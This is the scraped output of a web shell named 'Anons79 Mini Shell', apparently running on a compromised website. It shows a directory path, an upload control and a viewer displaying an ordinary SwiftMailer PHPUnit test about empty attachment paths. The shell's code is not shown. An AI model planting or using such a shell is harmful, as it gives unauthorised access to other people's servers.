Anons79 Mini Shell

Directory : /home/proudlyafrican/public_html/vendor/swiftmailer/swiftmailer/tests/bug/Swift/
Upload File :
Current File : /home/proudlyafrican/public_html/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug274Test.php

<?php

class Swift_Bug274Test extends \PHPUnit_Framework_TestCase
{
    public function testEmptyFileNameAsAttachment()
    {
        $message = new Swift_Message();
        $this->setExpectedException('Swift_IoException', 'The path cannot be empty');
        $message->attach(Swift_Attachment::fromPath(''));
    }

    public function testNonEmptyFileNameAsAttachment()
    {
        $message = new Swift_Message();
        try {
            $message->attach(Swift_Attachment::fromPath(__FILE__));
        } catch (Exception $e) {
            $this->fail('Path should not be empty');
        }
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]